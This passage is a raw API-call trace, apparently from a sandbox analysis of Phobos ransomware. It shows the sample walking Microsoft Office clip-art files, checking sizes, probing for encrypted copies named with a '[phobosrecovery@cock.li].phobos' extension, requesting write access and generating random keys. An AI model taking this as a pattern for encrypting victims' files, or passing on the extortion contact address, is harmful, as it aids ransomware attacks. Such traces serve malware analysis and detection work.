dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.444] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.445] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11512) returned 1 [0152.445] CloseHandle (hObject=0x57c) returned 1 [0152.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf")) returned 0x220 [0152.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.445] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.447] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20366) returned 1 [0152.447] CloseHandle (hObject=0x57c) returned 1 [0152.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf")) returned 0x220 [0152.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.447] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.449] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10692) returned 1 [0152.449] CloseHandle (hObject=0x57c) returned 1 [0152.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309480.jpg")) returned 0x220 [0152.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309480.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.449] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.450] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21580) returned 1 [0152.450] CloseHandle (hObject=0x57c) returned 1 [0152.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg")) returned 0x220 [0152.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.451] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.452] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=39563) returned 1 [0152.452] CloseHandle (hObject=0x57c) returned 1 [0152.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg")) returned 0x220 [0152.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.453] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.453] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=33264) returned 1 [0152.453] CloseHandle (hObject=0x57c) returned 1 [0152.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg")) returned 0x220 [0152.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.454] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.455] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=43707) returned 1 [0152.455] CloseHandle (hObject=0x57c) returned 1 [0152.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309664.jpg")) returned 0x220 [0152.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309664.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.456] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.457] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19162) returned 1 [0152.457] CloseHandle (hObject=0x57c) returned 1 [0152.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg")) returned 0x220 [0152.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.457] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.651] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6656) returned 1 [0152.651] CloseHandle (hObject=0x580) returned 1 [0152.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf")) returned 0x220 [0152.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.652] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.653] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15743) returned 1 [0152.653] CloseHandle (hObject=0x580) returned 1 [0152.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg")) returned 0x220 [0152.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.653] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.654] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20166) returned 1 [0152.654] CloseHandle (hObject=0x580) returned 1 [0152.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg")) returned 0x220 [0152.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.654] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.655] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18874) returned 1 [0152.655] CloseHandle (hObject=0x580) returned 1 [0152.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg")) returned 0x220 [0152.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.655] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.656] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=68572) returned 1 [0152.656] CloseHandle (hObject=0x580) returned 1 [0152.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382836.jpg")) returned 0x220 [0152.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382836.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.656] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.657] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=118362) returned 1 [0152.657] CloseHandle (hObject=0x580) returned 1 [0152.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg")) returned 0x220 [0152.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.657] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.658] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=91948) returned 1 [0152.658] CloseHandle (hObject=0x580) returned 1 [0152.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg")) returned 0x220 [0152.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.658] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.659] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=129132) returned 1 [0152.659] CloseHandle (hObject=0x580) returned 1 [0152.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg")) returned 0x220 [0152.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.660] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.661] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=112698) returned 1 [0152.661] CloseHandle (hObject=0x580) returned 1 [0152.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: 